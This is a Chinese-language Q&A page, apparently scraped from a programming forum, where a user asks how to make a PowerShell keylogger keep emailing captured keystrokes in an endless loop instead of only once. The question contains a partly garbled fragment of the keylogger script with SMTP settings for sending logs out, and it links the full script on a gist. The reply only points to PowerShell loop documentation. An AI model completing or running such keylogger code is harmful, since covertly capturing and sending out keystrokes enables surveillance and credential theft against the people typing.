为什么此Powershell键盘记录程序只发送一次日志?

问题描述 投票:0回答:1

我有这个用于Powershell的键盘记录器,可以将日志发送到电子邮件,它可以正常工作,但是只发送一次日志,然后他停止工作。如何使它像一个无休止的循环?

TimesToRun = 2
$RunTimeP = 1
$From = "[email protected]"
$Pass = "Pa$$w0rd"
$To = "[email protected]"
$Subject = "Keylogger Results"
$body = "Keylogger Results"
$SMTPServer = "smtp.mail.com"
$SMTPPort = "587"
$credentials = new-object 
Management.Automation.PSCredential 
$From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)



$TimeStart = Get-Date
$TimeEnd = $timeStart.addminutes($RunTimeP)
l
function Start- 

 KeyLogger($Path="$env:temp\keylogger.txt") 

这是完整的脚本https://gist.githubusercontent.com/dimiboy/8073b733f04d896cc7484fdb68bfce07/raw/d3ba1579e6be99680bee18a509a7f6940cb6a248/keystrokes-NEW.ps1

windows powershell github keylogger
1个回答
0
投票

我将其放在此处,因为注释部分的时间太长。

这是While循环的用例。这也不是PowerShell的唯一或限制。

循环是所有编程语言中的标准用例,是有据可查的东西。

有内置帮助使您前进。

Get-Help about_Foreach
Get-Help about_For
Get-Help about_While
Get-Help about_do

PowerShell循环

https://social.technet.microsoft.com/wiki/contents/articles/4542.powershell-loops.aspx

您必须决定使用哪种,因为每个都有其特点和影响。

© www.soinside.com 2019 - 2024. All rights reserved.